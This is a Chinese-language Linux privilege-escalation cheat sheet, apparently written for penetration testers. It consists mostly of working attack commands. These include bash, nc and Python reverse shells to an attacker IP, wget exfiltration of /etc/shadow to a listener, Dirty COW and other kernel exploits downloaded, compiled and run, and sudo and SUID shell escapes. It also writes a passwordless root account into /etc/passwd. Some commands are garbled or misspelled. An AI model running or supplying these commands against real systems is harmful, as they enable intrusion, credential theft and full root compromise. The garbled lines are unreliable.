0x01 Linux常用命令
uname -a #查看内核/操作系统/cpu信息
hend -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名
env #查看环境变量
ifconfig #查看网卡与ip
netstat -lntp #查看所有监听端口
netstat -antp #查看所有已经建立的连接
netstat -s #查看网络统计信息
iptables -L #查看防火墙设置
route -n #查看路由表
ps -ef #查看所有进程
top #实时显示进程状态
w #查看活动用户
id #查看指定用户信息
last #查看用户登录日志
cut -d: -f 1 /etc/passwd#查看系统所有用户
cut -d: -f 1 /etc/group#查看系统所有组
crontab -l #查看当前用户的计划任务
chkconfig –list #列出所有系统服务
chkconfig –list|grepon #列出所有启动的系统服务
//注意:Ubuntu 中 chkconfig 已经被 sysv-rc-conf 所替代
echo$PATH #查看系统路径
0x02 反弹shell命令
看这里:反弹shell姿势总结
0x03 一些小问题
1、python实现交互式shell终端
有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行
python-c'importpty;pty.spawn("/bin/bash")'
python3-c'importpty;pty.spawn("/bin/bash")'
使用su命令提示错误:
2、解决linux反弹shell乱码
2.1.建立交互shell
kali nc -lvnp 2333
目标 bash -i >& /dev/tcp/192.168.1.128/2333 0>&1
2.2.使用python shell
python -c 'import pty;pty.spawn("/bin/bash")'
2.3.放置后台
crtl +z 放在后台
2.4.设置格式
stty raw -echo
stty -echo raw//一样的
2.5.fg命令再调用即可
0x04 Linux内核漏洞提权( 利用searchsploit搜索)
通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在
apache就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,
ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限超级管理员权限。
1. 内核溢出提权
内核漏洞是最有效的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集, 再搜索对应的exp进行提权攻击
//查看发行版本:这些命令作用都差不多,获取一些信息
cat /etc/issue
cat /etc/*-release
cat /etc/redhat-release
cat /proc/version
lsb_release -a
//查看内核版本
uname -a
2) 利用kali自带的 searchsploit 来搜索对应版本的exp:(也可以直接去官网找)
searchspoit 发行版本内核版本
searchsploit -t Ubuntu 16.04 //-t仅搜索漏洞标题
searchsploit -s Ubuntu 16.04 //
searchsploit -s Linux Kernel 4.15.0
3)找到可利用的脚本之后,查看路径信息,并复制一个到当前目录(别损坏了漏洞库中原文件):
searchsploit -x linux/local/47169.c
cp /usr/share/exploitdb/exploits/linux/local/47169.c ./
4)之后就是将脚本上传到目标机,进行编译,赋权,执行了。
1.如果有其他webshell,有上传权限,那就把这个脚本拿出来,上传上去,再执行就好。
2.如果没有其他上传途径,可以在攻击方本地开一个http服务,让目标来下载也行:(开的服务默认在根目录起始)
python3 -m http-server 80
或(python2)
python -m SimpleHTTPServer 80
之后将脚本放到根目录,然后目标机来下载即可:
wget http://192.168.1.130/47169.c -O /tmp/47169.c
//下载并保存到/tmp目录下
5)编译,加权限,执行
gcc 47169.c -o exp
chmod +x exp
./exp
//id测试是否提权成功
id
1.1 Linux_Exploit_Suggester
下载地址:https://github.com/mzet-/linux-exploit-suggester
很好用的一款提权辅助工具,用法很简单,在靶机上执行./linux-exploit-suggester.sh就会列出该靶机上可利用的漏洞编号.
2. 脏牛提权CVE-2016-5195
exp Github下载:
https://github.com/FireFart/dirtycow
https://github.com/gbonacini/CVE-2016-5195(https://gitcode.net/mirrors/gbonacini/CVE-2016-5195?utm_source=csdn_github_accelerator)
编译好的exp,包含Android平台与Linux平台版本
https://github.com/Brucetg/DirtyCow-EXP
脏牛系统提权范围:linux内核=>2.6.22
● RHEL7 Linux x86_64
● RHEL4(4.4.7-16)
● Debian 7(“wheel”)
● Ubuntu 14.04.1 LTS
● Ubuntu 14.04.5 LTS
● Ubuntu 16.04.1 LTS
● Ubuntu 16.10
● Linux Mint 17.2
铿锵版本 4.0.0;
gcc 版本 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12)
gcc 版本 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1)
gcc 版本 4.8.5 20150623(红帽 4.8.5-4)(GCC);
gcc 版本 4.8.4 (Ubuntu 4.8.4);
gcc 版本 4.8.2 (Ubuntu 4.8.2-19ubuntu1)
gcc 版本 4.7.2 (Debian 4.7.2-5);
gcc 版本 4.4.7(带有“旧”版本)
漏洞成因:
Linux写时拷贝技术(copy-on-write)
在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。
演示:
1)使用dirty.c脚本进行提权
该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。
1.下载/上传该脚本到目标机下:
git clone https://github.com/FireFart/dirtycow
2.编译该脚本:
gcc -pthread dirty.c -o dirty -lcrypt
1.-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2.-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3.-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4.-std=c++11就是用按C++2011标准来编译的
5.-pthread 在Linux中要用到多线程时,需要链接pthread库
6.-o dcow gcc生成的目标文件,名字为dcow
7.-lcrypt 添加需要的外部库
3.添加可执行权限并执行
chmod +x ./dirty
./dirty 999999
4.之后就可以直接用密码999999登录root权限账户firefart
su firefart
999999
不要忘记在运行漏洞利用后恢复您的 /etc/passwd
mv /tmp/passwd.bak /etc/passwd
原理是利用exp获取了写入权限后,对/etc/passwd进行备份,然后对/etc/passwd进行重写,修改账户权限。优点方便快速。缺点受限与环境影响。某些环境下会失败。如果失败还是使用官方放出的exp,对/etc/passwd进行写入,写入前一定要记得先备份!
2)使用CVE-2016-5195提权
https://github.com/gbonacini/CVE-2016-5195
1.下载脚本到目标机器:
git clone https://github.com/gbonacini/CVE-2016-5195.git
2.编译成可执行文件
使用 g++ -Wall -PEDANTIC -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
或者直接输入 make 进行
3.执行脚本
./dcow -s
./dcow -h
3.CVE-2017-16995 ubuntu内核漏洞
1)影响版本
Linux Kernel Version 4.14-4.4 (主要影响Debian和Ubuntu发行版,Redhat和CentOS不受影响)
2)利用步骤
Linux本地内核提权 CVE-2017-16995
从网上下载exp,或者kali导出exp上传到提权主机上。
wget https://github.com/brl/grlh/archive/master.zip
编译:
gcc get-rekt-linux-hardened.c -o exp
gcc 45010.c -o 45010 编译
chmod +x 45010 增加权限
./45010 执行脚本返回root权限shell
id
0x05 滥用sudo导致的提权(需要普通用户可以sudo执行某些命令,又名sudo 提权)
以下这些程序如果被配置使用root权限启动,且该第三方服务或者程序存在漏洞或者配置问题,那么就可以被利用来获得root权限。** 并且还要知道当前用户的密码 **
可以利用sudo提权的命令如下 :
wget、find、cat、apt、zip、xxd、time、taskset、
git、sed、pip、ed、tmux、scp、perl、bash、
less、awk、man、vi、env、ftp
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。
是不是每一个新创建的用户都可以使用sudo提升命令的权限呢?如果不是那么哪些用户可以使用此命令呢?要想使一个用户具有使用sudo的能力,需要让root用户将其名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息注册到/etc/sudoers文件中,即完成对该用户的授权(此时该用户称为“sudoer”)才可以。
当一般用户执行特殊权限时,在命令前加上 sudo,此时系统会让你输入密码以确认终端机前操作的是你本人,确认后系统会将该命令的进程以超级用户的权限运行。
在一定的时间段内,再次执行sudo的命令时不再询问密码,超出此时间段(一般为5分钟)后需要再次输入密码。
在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。
查看用户能以root权限运行的命令:列出目前的权限
sudo -l
表示全可以执行
01.git 提权
sudo git help add
sudo git help config
sudo git -p help
//三选一
输密码
再
!/bin/bash
即可
02.find提权
普通用户find命令提权必要条件:find必须有s执行权限,有s表示可以提权
先查看find命令有没有提权的可能:
尝试执行whoami :
find / -type f -name getroot -exec "whoami" \;
这里的反斜杠\是用来转义分号;的
尝试调出一个交互式的bin/sh并且是root权限
sudo find /home -exec /bin/bash \;
此shell 为不完整的shell, 升级交互式。
#在反弹shell上执行
[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'
[root@localhost ~]# ctrl +z 按键。挂起正在运行的程序
[kali机器 ~]# stty raw -echo
# 输入这个命令 在输入命令终端不再显示
[kali机器 ~]#fg
# 把后台挂起的程序,放入到控制台。终端不再显示命令,输入后回撤
[root@localhost ~]# reset
用find进行反弹shell
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.1.130/2333 0>&1 \;
**
find /var/www/dirty -exec nc 192.168.1.130 2333 -t -e /bin/sh \;
find+python进行反弹shell
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
03.zip提权( 核心sudo没有该命令,失效 )
zip 命令用于压缩文件,是个 使用广泛的压缩程序,压缩后的文件后缀名为 .zip。通过压缩一个存在的文件,并调用-T参数输出shell
1. 下载zip(如果没有)apt install zip
2. 创建一个1.txt,将其压缩为1.zip
3. 执行
touch 1.txt
sudo zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash"
或
touch 1.txt
sudo -u root zip 1.zip 1.txt -T -unzip-command="sh -c /bin/bash"
04.awk/morpheus提权
sudo awk 'BEGIN {system("/bin/sh")}'
sudo morpheus 'BEGIN {system("/bin/sh")}'
05.less**/more**提权
sudo less /etc/hosts
!bash
//若已被分配root权限
less /etc/passwd
!/bin/sh
06.man提权
sudo man man
!bash
07.env提权
sudo env /bin/bash
08.ed提权
sudo ed
!/bin/bash
09.apt提权
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
10.pip提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
11.sed提权
sudo sed -n '1e exec sh 1>&0' /etc/passwd
12.tmux提权
sudo tmux
13.nmap提权
版本5.0一下
*进入nmap交互模式*
sudo nmap --interactive
14.taskset提权
sudo taskset 1 /bin/sh -p
15.scp提权
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
16.ftp提权
sudo ftp
!/bin/bash
17.perl提权
sudo perl -e 'exec "/bin/bash";'
0x06.不需要sudo执行权限的提权方式
01.wget提权(可能也需要sudo)
##kali上监听
nc -lvp 4444 > hash.txt
##靶机上
/usr/bin/wget --post-file=/etc/shadow 192.168.1.130:4444
sudo /usr/bin/wget --post-file=/etc/shadow 192.168.1.130:4444
此时,kali上拿到了hash.txt
02.Ubuntu计划任务提权(配合suid提权)
对于可能存在的权限配置不当的有root权限的计划任务,让我们普通用户也拥有修改的权限,我们修改其中的内容,为bash、less等赋予SUID权限,与SUID提权结合,使其提权成功!
列出系统中的一些计划任务:
ls -l /etc/cron*
cat /etc/crontab
crontab -l查看当前用户命令
/var/spool/cron/crontabs/root这个目录是root任务文件默认是不是root权限是看不到
tail-f/var/log/syslog
查看日志文件发现root每一分钟会执行一次cleanup.py文件
修改内容反弹shell
如果遇到了权限为777配置不当的计划任务,我们可以修改时,我们可以往文件里面添加内容。
比如把shell复制到tmp目录下其次给权限
cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;
或者给其他组件权限也可以进行提权,比如find、vim、less之类的,具体方法上面有写。
03. teehee提权
teehee提权是使用teehee -a 把一个账号密码写入到etc/passwd中,这个用户具有root权限,再切换到这个用户即可
echo "light::0:0:::/bin/bash" | sudo teehee -a /etc/passwd //提权语句
su light
cat /root/flag.txt
04.脚本ping提权
核心ping和gcc没有则无法实现
vi 2.sh
unset LD_AUDIT
rm -r -f /tmp/exploit
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
ls -l /proc/$$/fd/3
rm -rf /tmp/exploit
ls -l /proc/$$/fd/3
cat > program.c << _EOF
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
_EOF
gcc -w -fPIC -shared -o /tmp/exploit program.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
unset LD_AUDIT
chmod 777 2.sh
./2.sh
05 寻找高权限用户提权
拿到shell后进入开始寻找
cat /etc/passwd (查看是否存在高权限用户)
cd /home (进入高级用户目录查看文件)
(进入其他用户目录,查看文件寻找密码,一般来说都可以通过历史History,wordpass)
然后登录sudo 用户名
06 screen提权
步骤和其他服务(exim4,apache,linux内核…)查询一样的都是searchsploit加服务然后上传运行
searchsploit screen 版本号
cat *.sh 一般来说这些sh文件都要拆分出来用,会吧会拆分吧{}
07 SUID提权
** 注意:suid提权是短暂的,能帮我们以root权限执行指定的命令 **
1)什么是SUID
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限
当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd这个文件的权限状态:“-rwsr-xr-x”,此时就被称为Set UID,简称为SUID。那么这个特殊权限的特殊性的作用是什么呢?
1、SUID权限仅对二进制程序(binary program)有效;
2、执行者对于该程序需要具有x的可执行权限;
3、本权限仅在执行该程序的过程中有效(run-time);
4、执行者将具有该程序拥有者(owner)的权限。
SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。
2)用此命令即可 找到具有 SUID 权限的参数:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
三选一
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
会查找到很多。常见suid提权文件有:
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
在后面,看到 find 也具有 SUID权限。 (因此这里以find为例) 那么我们就可以进行进一步提权了。
1.切换到 tmp 目录
2.输入whoami 可以看到我们还是普通用户 ,那么我们使用具有SUID权限的find 命令 是否能够成功提权呢?
3.我们需要先创建文件,因为find 命令 需要一个指向性的查找。
4.执行命令提权:
find test.txt -exec whoami \;
find /home -exec /bin/bash \;
python -c 'import pty;pty.spawn("/bin/bash")' 生成交互式终端
用find进行反弹shell
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.1.130/2333 0>&1 \;
**
find /var/www/dirty -exec nc 192.168.1.130 2333 -t -e /bin/sh \;
find+python进行反弹shell
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
其他利用方式:
find命令
sudo find . -exec /bin/sh \; -quit
进行反弹shell也可以
find dirty -exec nc -lvp 9999 -e /bin/sh ;
chmod命令
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod
ash,linux shell
sudo ash
cp命令
sudo sh -c 'cp $(which cp) .; chmod +s ./cp
gdb命令
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
更多suid利用方式:https://gtfobins.github.io/gtfobins
如
常用指令提权方法
命令 利用方法
命令 利用方法
zsh zsh
xargs xargs -a /dev/null sh -p
watch watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’
timeout timeout 7d /bin/sh -p
time time /bin/sh -p
tclsh 1、tclsh 2、exec /bin/sh -p <@stdin >@stdout 2>@stderr
taskset taskset 1 /bin/sh -p
stdbuf stdbuf -i0 /bin/sh -p
strace strace -o /dev/null /bin/sh -p
ssh ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x
setarch setarch $(arch) /bin/sh -p
rsync rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null
rpm rpm --eval ‘%{lua:os.execute("/bin/sh -p")}’
python python -c ‘import os; os.execl("/bin/sh", “sh”, “-p”)’
php 1、CMD="/bin/sh" 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);”
nice nice /bin/sh -p
nano 1、nano //运行nano程序 2、^R //按下ctrl-r 3、^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0
// 输 入下面的命令
more 1、more /etc/profile 2、!/bin/sh -p
logsave logsave /dev/null /bin/sh -i -p
less less /etc/profile //读取文件,在底行输入!/bin/sh -p
ksh ksh -p
ip 1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo
ionice ionice /bin/sh -p
git git help status
gimp gimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl("/bin/sh", “sh”, “-p”)’
gdb gdb -nx -ex ‘python import os; os.execl("/bin/sh", “sh”, “-p”)’ -ex quit
ftp ftp //在底行输入“!/bin/sh -p”
flock flock -u / /bin/sh -p
find find . -exec /bin/sh -p ; -quit
expect expect -c ‘spawn /bin/sh -p;interact’
env env /bin/sh -p
ed ed //在底行输入“!/bin/sh -p”
docker docker run -v /:/mnt --rm -it alpine chroot /mnt sh
dmesg dmesg -H//在底行输入“!/bin/sh -p”
csh csh -b
bash bash -p
awk awk ‘BEGIN {system("/bin/bash -p")}’
perl perl exec “/bin/bash”;